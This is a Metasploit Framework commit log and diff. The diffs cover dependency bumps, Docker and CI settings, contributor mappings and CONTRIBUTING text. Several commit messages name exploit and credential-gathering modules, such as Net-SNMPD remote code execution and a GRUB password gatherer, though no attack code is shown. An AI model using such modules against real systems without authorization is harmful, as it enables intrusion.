Quentin Kaiser ed7d9a10ac Release of Awindinc SNMP exploit. 2019-03-27 14:13:36 +01:00
pkb1s 828eee12eb using "return early, return often" style 2019-03-04 19:31:49 +00:00
pkb1s 8e855867a9 Update exchange_web_server_pushsubscription.rb 2019-03-04 18:39:30 +00:00
pkb1s d0ab528381 Update exchange_web_server_pushsubscription.rb 2019-03-04 18:15:05 +00:00
pkb1s 794e74c25b added cve in reference 2019-03-04 17:18:52 +00:00
pkb1s 12ffc2a811 changed reference structure 2019-03-04 17:17:22 +00:00
bcoles 3196b6bacb Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb
Co-Authored-By: pkb1s <petkoutroubis@gmail.com>
2019-03-04 17:11:00 +00:00
pkb1s b43f6e8173 updated author section 2019-03-04 17:09:17 +00:00
bcoles 62054ed096 Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb
Co-Authored-By: pkb1s <petkoutroubis@gmail.com>
2019-03-04 17:06:04 +00:00
bcoles 2286824645 Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb
Co-Authored-By: pkb1s <petkoutroubis@gmail.com>
2019-03-04 17:04:49 +00:00
bcoles 40ff19a0c3 Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb
Co-Authored-By: pkb1s <petkoutroubis@gmail.com>
2019-03-04 17:04:34 +00:00
bcoles 7734f436e9 Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb
Co-Authored-By: pkb1s <petkoutroubis@gmail.com>
2019-03-04 17:04:24 +00:00
Garvit Dewan c48a6ddbdf Add /boot/grub2/user.cfg path to grub_password 2019-02-21 14:17:15 +05:30
pkb1s e06d7e2ded correction of CVE number 2019-02-17 21:36:30 +00:00
Garvit Dewan f823927832 Update documentation 2019-02-17 23:37:52 +05:30
Garvit Dewan a1b1ace18f Save the gathered credentials to database 2019-02-17 23:33:12 +05:30
Garvit Dewan 2dd9466c82 Add documentation for grub_password module 2019-02-17 22:15:47 +05:30
Garvit Dewan 85add746e1 Make suggested changes to grub_password module 2019-02-17 21:31:58 +05:30
Garvit Dewan 68414d07ce Make suggested changes to grub_password module 2019-02-17 20:23:26 +05:30
Garvit Dewan 22340ab2c1 Add *nix Gather Grub Password module 2019-02-17 19:29:47 +05:30
pkb1s 1999f6885b Minor changes to module options 2019-02-16 13:26:02 +00:00
pkb1s e12052a83e Update exchange_web_server_pushsubscription.md 2019-02-16 13:19:07 +00:00
pkb1s 3a77cc9805 Update exchange_web_server_pushsubscription.rb 2019-02-16 02:38:55 +00:00
pkb1s 72f73c59ee Update exchange_web_server_pushsubscription.md 2019-02-16 02:37:18 +00:00
pkb1s 51df27636d Add documentation 2019-02-16 02:34:14 +00:00
root 949d140326 Added auxiliary module code 2019-02-16 02:04:40 +00:00
Zack Flack 1f802a88dc rename module documentation 2019-02-12 21:02:02 +08:00
Zack Flack 42fa436940 apply rubocop fixes, remove unless statements 2019-02-12 20:25:58 +08:00
Zack Flack 16628806e1 generate relative path to /etc/passwd 2019-02-12 18:43:15 +08:00
Zack Flack 17c6b8dec1 add initial documentation 2019-02-11 23:51:16 +08:00
Zack Flack 5fde493add refactor version check, reduce verbosity 2019-02-11 23:50:09 +08:00
Zack Flack 92063560eb add version check, tweak payload execution for aix 2019-02-10 23:33:24 +08:00
Zack Flack 619d51c768 add inital port of perl exploit 2019-02-06 19:42:40 +08:00
Steve Embling 8585dacbb4 Updated to relevant references
Updated references to blog post and mailing list of commit proposal

Updated disclosure date to commit proposal
2019-01-18 17:01:17 +00:00
Brendan Coles 0a5957c36f Add Linux support to multi/script/web_delivery 2019-01-06 19:40:30 +00:00
Aaron Ringo 9dd4017674 some modifications to WIP, changed gcc, fixed other errors 2018-11-26 21:06:37 -06:00
Aaron Ringo 5e9c10dbe8 added modulepath, tested on centos with selinux 2018-11-25 19:48:05 -06:00
Aaron Ringo 2ad453b6e3 added modulepath 2018-11-25 15:54:37 -06:00
Quentin Kaiser 479b09962c Awind stuff. 2018-09-11 15:16:23 +02:00
Steve f7271d0086 Added curl flavor 2018-02-15 13:11:25 +00:00
Steve 8976b52216 Handle error stating that SNMP has timed out 2018-02-14 17:35:19 +00:00
Steve b0aeee8435 Documentation update 2018-02-14 17:08:04 +00:00
Steve 08d1f9a5c8 Documentation update 2018-02-14 17:03:42 +00:00
Steve 5f6ecd2ff9 Documentation update 2018-02-14 16:58:14 +00:00
Steve 734a6496c5 Fix escaping of printf and echo payloads 2018-02-14 16:21:15 +00:00
Steve dd267ba438 Fix msftidy warnings 2018-02-14 09:35:25 +00:00
Steve 361a999dd1 Use ARCH_X64 instead 2018-02-09 18:49:04 +00:00
Steve f17b9aed0c Use cmd_stager 2018-02-09 18:38:09 +00:00
Steve 7598a5801a Fix use of local var 2018-02-09 09:36:59 +00:00
Steve f372e8ec09 Documentation markdown fix 2018-02-08 16:19:09 +00:00
Steve 829cfbab3b Replaced string concats with interpolation 2018-02-08 16:11:47 +00:00
Steve a415a82aa3 Shortened SNMPManager.open statements 2018-02-08 16:09:53 +00:00
Steve 60e3b7be1a Clarified printf string 2018-02-08 16:06:44 +00:00
Steve 9bea263805 Changed temporary filename to local variable 2018-02-08 16:04:49 +00:00
Steve 50a1a0ae6c Add comment to space limitation 2018-02-08 16:03:17 +00:00
Steve ba528c8d50 Indented description 2018-02-08 16:01:16 +00:00
Steve 180bc1f741 Add options to documentation 2018-02-08 15:58:01 +00:00
Steve 358725bdd6 Update documentation 2018-02-08 15:48:19 +00:00
Steve Embling 1161787cbd Removed comma in payload -> space 2018-01-02 12:28:20 +00:00
Steve Embling e1fdd403ed Added documentation 2017-12-22 16:51:10 +00:00
Steve Embling be8538152c Added net_snmpd_rw_access exploit, authenticated remote code execution on Net-SNMPD for Linux systems 2017-12-22 16:42:03 +00:00
779 changed files with 57183 additions and 8605 deletions
+57 -56
View File
@@ -1,59 +1,40 @@
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
bpatterson-r7 <bpatterson-r7@github> <“bpatterson@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
dmaloney-r7 <dmaloney-r7@github> <David_Maloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> <DMaloney@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> <Dev_Mohanty@rapid7.com>
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
egypt <egypt@github> <egypt@metasploit.com> # aka egypt
egypt <egypt@github> <james_lee@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
jhart-r7 <jhart-r7@github> <jon_hart@rapid7.com>
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
jinq102030 <jinq102030@github> <jqian@rapid7.com>
jmartin-r7 <jmartin-r7@github> <Jeffrey_Martin@rapid7.com>
kgray-r7 <kgray-r7@github> <kyle_gray@rapid7.com>
khayes-r7 <khayes-r7@github> <Kirk_Hayes@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> <lance@aus-mac-1041.aus.rapid7.com>
lsanchez-r7 <lsanchez-r7@github> <lance@AUS-MAC-1041.local>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez+github@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com”>
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
sdavis-r7 <sdavis-r7@github> <scott_davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <Scott_Davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
tatanus <tatanus@github> <adam_compton@rapid7.com>
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> <todb@metasploit.com>
todb-r7 <todb-r7@github> <todb@packetfu.com>
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
wvu-r7 <wvu-r7@github> <William_Vu@rapid7.com>
wvu-r7 <wvu-r7@github> <wvu@cs.nmt.edu>
wvu-r7 <wvu-r7@github> <wvu@metasploit.com>
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
adamgalway-r7 <adamgalway-r7@github> <adam_galway@rapid7.com>
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
cdelafuente-r7 <cdelafuente-r7@github> Christophe De La Fuente <christophe_delafuente@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
dwelch-r7 <dwelch-r7@github> <dean_welch@rapid7.com>
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
jinq102030 <jinq102030@github> <jqian@rapid7.com>
jmartin-r7 <jmartin-r7@github> <Jeffrey_Martin@rapid7.com>
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com>
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> <todb@metasploit.com>
todb-r7 <todb-r7@github> <todb@packetfu.com>
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
wvu-r7 <wvu-r7@github> <William_Vu@rapid7.com>
wvu-r7 <wvu-r7@github> <wvu@nmt.edu>
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
# Above this line are current Rapid7 employees. Below this paragraph are
# volunteers, former employees, and potential Rapid7 employees who, at
@@ -62,9 +43,12 @@ wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
# periodically. If you're on this list and would like to not be, just
# let todb@metasploit.com know.
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
bannedit <bannedit@github> David Rude <bannedit0@gmail.com>
bcoles <bcoles@github> bcoles <bcoles@gmail.com>
bokojan <bokojan@github> parzamendi-r7 <peter_arzamendi@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> <bpatterson@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
brandonprry <brandonprry@github> <bperry@brandons-mbp.attlocal.net>
brandonprry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
brandonprry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
@@ -83,8 +67,13 @@ corelanc0d3r <corelanc0d3r@github> Peter Van Eeckhoutte (corelanc0d3r) <pete
crcatala <crcatala@github> Christian Catalan <ccatalan@rapid7.com>
darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com>
DanielRTeixeira <DanielRTeixeira@github> Daniel Teixeira <danieljcrteixeira@gmail.com>
dmaloney-r7 <dmaloney-r7@github> <David_Maloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> <DMaloney@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> <Dev_Mohanty@rapid7.com>
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
efraintorres <efraintorres@github> et <>
egypt <egypt@github> <egypt@metasploit.com> # aka egypt
egypt <egypt@github> <james_lee@rapid7.com>
espreto <espreto@github> <robertoespreto@gmail.com>
fab <fab@???> fab <> # fab at revhosts.net (Fabrice MOURRON)
farias-r7 <farias-r7@github> <fernando_arias@rapid7.com>
@@ -110,6 +99,7 @@ jcran <jcran@github> <jcran@rapid7.com>
jduck <jduck@github> <github.jdrake@qoop.org>
jduck <jduck@github> <jdrake@qoop.org>
jgor <jgor@github> jgor <jgor@indiecom.org>
jhart-r7 <jhart-r7@github> <jon_hart@rapid7.com>
joevennix <joevennix@github> Joe Vennix <joevennix@gmail.com>
joevennix <joevennix@github> <Joe_Vennix@rapid7.com>
joevennix <joevennix@github> <joev@metasploit.com>
@@ -119,9 +109,15 @@ juanvazquez <juanvazquez@github> jvazquez-r7 <juan_vazquez@rapid7.com>
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
kgray-r7 <kgray-r7@github> <kyle_gray@rapid7.com>
kost <kost@github> Vlatko Kosturjak <kost@linux.hr>
kris <kris@???> kris <>
KronicDeth <KronicDeth@github> Luke Imhoff <luke_imhoff@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> <lance@aus-mac-1041.aus.rapid7.com>
lsanchez-r7 <lsanchez-r7@github> <lance@AUS-MAC-1041.local>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez+github@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com>
@@ -151,12 +147,16 @@ rwhitcroft <rwhitcroft@github> <rwhitcroft@users.noreply.github.com>
schierlm <schierlm@github> Michael Schierl <schierlm@gmx.de> # Aka mihi
scriptjunkie <scriptjunkie@github> Matt Weeks <scriptjunkie@scriptjunkie.us>
scriptjunkie <scriptjunkie@github> scriptjunkie <scriptjunkie@scriptjunkie.us>
sdavis-r7 <sdavis-r7@github> <scott_davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <Scott_Davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
skape <skape@???> Matt Miller <mmiller@hick.org>
spoonm <spoonm@github> Spoon M <spoonm@gmail.com>
stufus <stufus@github> Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
stufus <stufus@github> Stuart <stufus@users.noreply.github.com>
swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com>
Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
tatanus <tatanus@github> <adam_compton@rapid7.com>
techpeace <techpeace@github> Matt Buck <Matthew_Buck@rapid7.com>
techpeace <techpeace@github> Matt Buck <techpeace@gmail.com>
timwr <timwr@github> <timrlw@gmail.com>
@@ -164,6 +164,7 @@ TomSellers <TomSellers@github> Tom Sellers <tom@fadedcode.net>
trevrosen <trevrosen@github> Trevor Rosen <trevor@catapult-creative.com>
trevrosen <trevrosen@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com>
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
void-in <void-in@github> void_in <root@localhost.localdomain>
void-in <void-in@github> void-in <root@localhost.localdomain>
void-in <void-in@github> <void-in@users.noreply.github.com>
+1 -1
View File
@@ -119,7 +119,7 @@ Naming/UncommunicativeMethodParamName:
# %q() is super useful for long strings split over multiple lines and
# is very common in module constructors for things like descriptions
Style/UnneededPercentQ:
Style/RedundantPercentQ:
Enabled: false
Style/NumericLiterals:
+1 -1
View File
@@ -1 +1 @@
2.6.2
2.6.5
+2 -2
View File
@@ -11,8 +11,8 @@ addons:
- graphviz
language: ruby
rvm:
- '2.5.5'
- '2.6.2'
- '2.5.7'
- '2.6.5'
env:
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
+4 -2
View File
@@ -2,9 +2,9 @@
Thanks for your interest in making Metasploit -- and therefore, the
world -- a better place! Before you get started, review our
[Code of Conduct]. There are mutliple ways to help beyond just writing code:
[Code of Conduct]. There are multiple ways to help beyond just writing code:
- [Submit bugs and feature requests] with detailed information about your issue or idea.
- [Help fellow users with open issues] or [help fellow committers test recent pull requests].
- [Help fellow users with open issues] or [help fellow committers test recently submitted pull requests].
- [Report a security vulnerability in Metasploit itself] to Rapid7.
- Submit an updated or brand new module! We are always eager for exploits, scanners, and new
integrations or features. Don't know where to start? Set up a [development environment], then head over to ExploitDB to look for [proof-of-concept exploits] that might make a good module.
@@ -36,6 +36,7 @@ it into Metasploit's master branch. If you do not care to follow these rules, y
* **Do** [reference associated issues] in your pull request description.
* **Don't** leave your pull request description blank.
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
* **Don't** post questions in older closed PRs.
Pull request [PR#9966] is a good example to follow.
@@ -69,6 +70,7 @@ When reporting Metasploit issues:
* **Do** write a detailed description of your bug and use a descriptive title.
* **Do** include reproduction steps, stack traces, and anything that might help us fix your bug.
* **Don't** file duplicate reports; search for your bug before filing a new report.
* **Don't** attempt to report issues on a closed PR.
If you need some more guidance, talk to the main body of open source contributors over on our
[Metasploit Slack] or [#metasploit on Freenode IRC].
+7 -4
View File
@@ -1,4 +1,4 @@
FROM ruby:2.6.2-alpine3.9 AS builder
FROM ruby:2.6.5-alpine3.10 AS builder
LABEL maintainer="Rapid7"
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
@@ -36,7 +36,7 @@ RUN apk add --no-cache \
&& chmod -R a+r /usr/local/bundle
FROM ruby:2.6.2-alpine3.9
FROM ruby:2.6.5-alpine3.10
LABEL maintainer="Rapid7"
ENV APP_HOME=/usr/src/metasploit-framework
@@ -51,8 +51,11 @@ RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresq
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
COPY --chown=root:metasploit --from=builder /usr/local/bundle /usr/local/bundle
COPY --chown=root:metasploit . $APP_HOME/
COPY --from=builder /usr/local/bundle /usr/local/bundle
RUN chown -R root:metasploit /usr/local/bundle
COPY . $APP_HOME/
RUN chown -R root:metasploit $APP_HOME/
RUN chmod 664 $APP_HOME/Gemfile.lock
RUN cp -f $APP_HOME/docker/database.yml $APP_HOME/config/database.yml
WORKDIR $APP_HOME
+64 -63
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (5.0.36)
metasploit-framework (5.0.63)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@@ -9,7 +9,7 @@ PATH
aws-sdk-iam
aws-sdk-s3
backports
bcrypt
bcrypt (= 3.1.12)
bcrypt_pbkdf
bit-struct
concurrent-ruby (= 1.0.5)
@@ -17,6 +17,7 @@ PATH
ed25519
em-http-request
faker
faraday (<= 0.17.0)
filesize
jsobfu
json
@@ -24,7 +25,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.3.70)
metasploit-payloads (= 1.3.79)
metasploit_data_models (= 3.0.10)
metasploit_payloads-mettle (= 0.5.16)
mqtt
@@ -59,7 +60,7 @@ PATH
rex-random_identifier
rex-registry
rex-rop_builder
rex-socket (= 0.1.17)
rex-socket
rex-sslscan
rex-struct2
rex-text
@@ -108,36 +109,36 @@ GEM
minitest (~> 5.1)
thread_safe (~> 0.3, >= 0.3.4)
tzinfo (~> 1.1)
addressable (2.6.0)
public_suffix (>= 2.0.2, < 4.0)
addressable (2.7.0)
public_suffix (>= 2.0.2, < 5.0)
afm (0.2.2)
arel (6.0.4)
arel-helpers (2.9.1)
arel-helpers (2.10.0)
activerecord (>= 3.1.0, < 7)
aws-eventstream (1.0.3)
aws-partitions (1.184.0)
aws-sdk-core (3.59.0)
aws-partitions (1.246.0)
aws-sdk-core (3.82.0)
aws-eventstream (~> 1.0, >= 1.0.2)
aws-partitions (~> 1.0)
aws-partitions (~> 1, >= 1.239.0)
aws-sigv4 (~> 1.1)
jmespath (~> 1.0)
aws-sdk-ec2 (1.99.0)
aws-sdk-core (~> 3, >= 3.58.0)
aws-sdk-ec2 (1.121.0)
aws-sdk-core (~> 3, >= 3.71.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.27.0)
aws-sdk-core (~> 3, >= 3.58.0)
aws-sdk-iam (1.32.0)
aws-sdk-core (~> 3, >= 3.71.0)
aws-sigv4 (~> 1.1)
aws-sdk-kms (1.23.0)
aws-sdk-core (~> 3, >= 3.58.0)
aws-sdk-kms (1.26.0)
aws-sdk-core (~> 3, >= 3.71.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.45.0)
aws-sdk-core (~> 3, >= 3.58.0)
aws-sdk-s3 (1.57.0)
aws-sdk-core (~> 3, >= 3.77.0)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.1)
aws-sigv4 (1.1.0)
aws-eventstream (~> 1.0, >= 1.0.2)
backports (3.15.0)
bcrypt (3.1.13)
bcrypt (3.1.12)
bcrypt_pbkdf (1.0.1)
bindata (2.4.4)
bit-struct (0.16)
@@ -145,10 +146,10 @@ GEM
coderay (1.1.2)
concurrent-ruby (1.0.5)
cookiejar (0.3.3)
crass (1.0.4)
crass (1.0.5)
daemons (1.3.1)
diff-lcs (1.3)
dnsruby (1.61.2)
dnsruby (1.61.3)
addressable (~> 2.5)
docile (1.3.2)
ed25519 (1.2.4)
@@ -162,14 +163,14 @@ GEM
eventmachine (>= 1.0.0.beta.4)
erubis (2.7.0)
eventmachine (1.2.7)
factory_bot (5.0.2)
factory_bot (5.1.1)
activesupport (>= 4.2.0)
factory_bot_rails (5.0.2)
factory_bot (~> 5.0.2)
factory_bot_rails (5.1.1)
factory_bot (~> 5.1.0)
railties (>= 4.2.0)
faker (1.9.5)
i18n (>= 0.7)
faraday (0.15.4)
faker (2.2.1)
i18n (>= 0.8)
faraday (0.17.0)
multipart-post (>= 1.2, < 3)
filesize (0.2.0)
fivemat (1.3.7)
@@ -181,7 +182,7 @@ GEM
jsobfu (0.4.2)
rkelly-remix
json (2.2.0)
loofah (2.2.3)
loofah (2.4.0)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
metasm (1.0.4)
@@ -203,7 +204,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.3.70)
metasploit-payloads (1.3.79)
metasploit_data_models (3.0.10)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@@ -217,15 +218,15 @@ GEM
metasploit_payloads-mettle (0.5.16)
method_source (0.9.2)
mini_portile2 (2.4.0)
minitest (5.11.3)
minitest (5.13.0)
mqtt (0.5.0)
msgpack (1.3.0)
msgpack (1.3.1)
multipart-post (2.1.1)
nessus_rest (0.1.6)
net-ssh (5.2.0)
network_interface (0.0.2)
nexpose (7.2.1)
nokogiri (1.10.3)
nokogiri (1.10.5)
mini_portile2 (~> 2.4.0)
octokit (4.14.0)
sawyer (~> 0.8.0, >= 0.5.3)
@@ -235,7 +236,7 @@ GEM
pcaprub
patch_finder (1.0.2)
pcaprub (0.13.0)
pdf-reader (2.2.0)
pdf-reader (2.4.0)
Ascii85 (~> 1.0.0)
afm (~> 0.2.1)
hashery (~> 2.0)
@@ -250,7 +251,7 @@ GEM
pry (0.12.2)
coderay (~> 1.1.0)
method_source (~> 0.9.0)
public_suffix (3.1.1)
public_suffix (4.0.1)
rack (1.6.11)
rack-protection (1.5.5)
rack
@@ -262,18 +263,18 @@ GEM
activesupport (>= 4.2.0, < 5.0)
nokogiri (~> 1.6)
rails-deprecated_sanitizer (>= 1.0.1)
rails-html-sanitizer (1.0.4)
loofah (~> 2.2, >= 2.2.2)
rails-html-sanitizer (1.3.0)
loofah (~> 2.3)
railties (4.2.11.1)
actionpack (= 4.2.11.1)
activesupport (= 4.2.11.1)
rake (>= 0.8.7)
thor (>= 0.18.1, < 2.0)
rake (12.3.2)
rake (13.0.1)
rb-readline (0.5.5)
recog (2.3.2)
recog (2.3.6)
nokogiri
redcarpet (3.4.0)
redcarpet (3.5.0)
rex-arch (0.1.13)
rex-text
rex-bin_tools (0.1.6)
@@ -300,7 +301,7 @@ GEM
rex-arch
rex-ole (0.1.6)
rex-text
rex-powershell (0.1.82)
rex-powershell (0.1.83)
rex-random_identifier
rex-text
rex-random_identifier (0.1.4)
@@ -310,40 +311,40 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.17)
rex-socket (0.1.21)
rex-core
rex-sslscan (0.1.5)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.2)
rex-text (0.2.21)
rex-text (0.2.24)
rex-zip (0.1.3)
rex-text
rkelly-remix (0.0.7)
rspec (3.8.0)
rspec-core (~> 3.8.0)
rspec-expectations (~> 3.8.0)
rspec-mocks (~> 3.8.0)
rspec-core (3.8.2)
rspec-support (~> 3.8.0)
rspec-expectations (3.8.4)
rspec (3.9.0)
rspec-core (~> 3.9.0)
rspec-expectations (~> 3.9.0)
rspec-mocks (~> 3.9.0)
rspec-core (3.9.0)
rspec-support (~> 3.9.0)
rspec-expectations (3.9.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.8.0)
rspec-mocks (3.8.1)
rspec-support (~> 3.9.0)
rspec-mocks (3.9.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.8.0)
rspec-rails (3.8.2)
rspec-support (~> 3.9.0)
rspec-rails (3.9.0)
actionpack (>= 3.0)
activesupport (>= 3.0)
railties (>= 3.0)
rspec-core (~> 3.8.0)
rspec-expectations (~> 3.8.0)
rspec-mocks (~> 3.8.0)
rspec-support (~> 3.8.0)
rspec-core (~> 3.9.0)
rspec-expectations (~> 3.9.0)
rspec-mocks (~> 3.9.0)
rspec-support (~> 3.9.0)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.8.2)
rspec-support (3.9.0)
ruby-macho (2.2.0)
ruby-rc4 (0.1.5)
ruby_smb (1.1.0)
@@ -351,11 +352,11 @@ GEM
rubyntlm
windows_error
rubyntlm (0.6.2)
rubyzip (1.2.3)
rubyzip (2.0.0)
sawyer (0.8.2)
addressable (>= 2.3.5)
faraday (> 0.8, < 2.0)
simplecov (0.17.0)
simplecov (0.17.1)
docile (~> 1.1)
json (>= 1.8, < 3)
simplecov-html (~> 0.10.0)
@@ -366,19 +367,19 @@ GEM
tilt (>= 1.3, < 3)
sqlite3 (1.3.13)
sshkey (2.0.0)
swagger-blocks (2.0.2)
swagger-blocks (3.0.0)
thin (1.7.2)
daemons (~> 1.0, >= 1.0.9)
eventmachine (~> 1.0, >= 1.0.4)
rack (>= 1, < 3)
thor (0.20.3)
thread_safe (0.3.6)
tilt (2.0.9)
tilt (2.0.10)
timecop (0.9.1)
ttfunk (1.5.1)
tzinfo (1.2.5)
thread_safe (~> 0.1)
tzinfo-data (1.2019.2)
tzinfo-data (1.2019.3)
tzinfo (>= 1.0.0)
warden (1.2.7)
rack (>= 1.0)
+41 -41
View File
@@ -5,20 +5,20 @@ actionview, 4.2.11.1, MIT
activemodel, 4.2.11.1, MIT
activerecord, 4.2.11.1, MIT
activesupport, 4.2.11.1, MIT
addressable, 2.6.0, "Apache 2.0"
addressable, 2.7.0, "Apache 2.0"
afm, 0.2.2, MIT
arel, 6.0.4, MIT
arel-helpers, 2.9.1, MIT
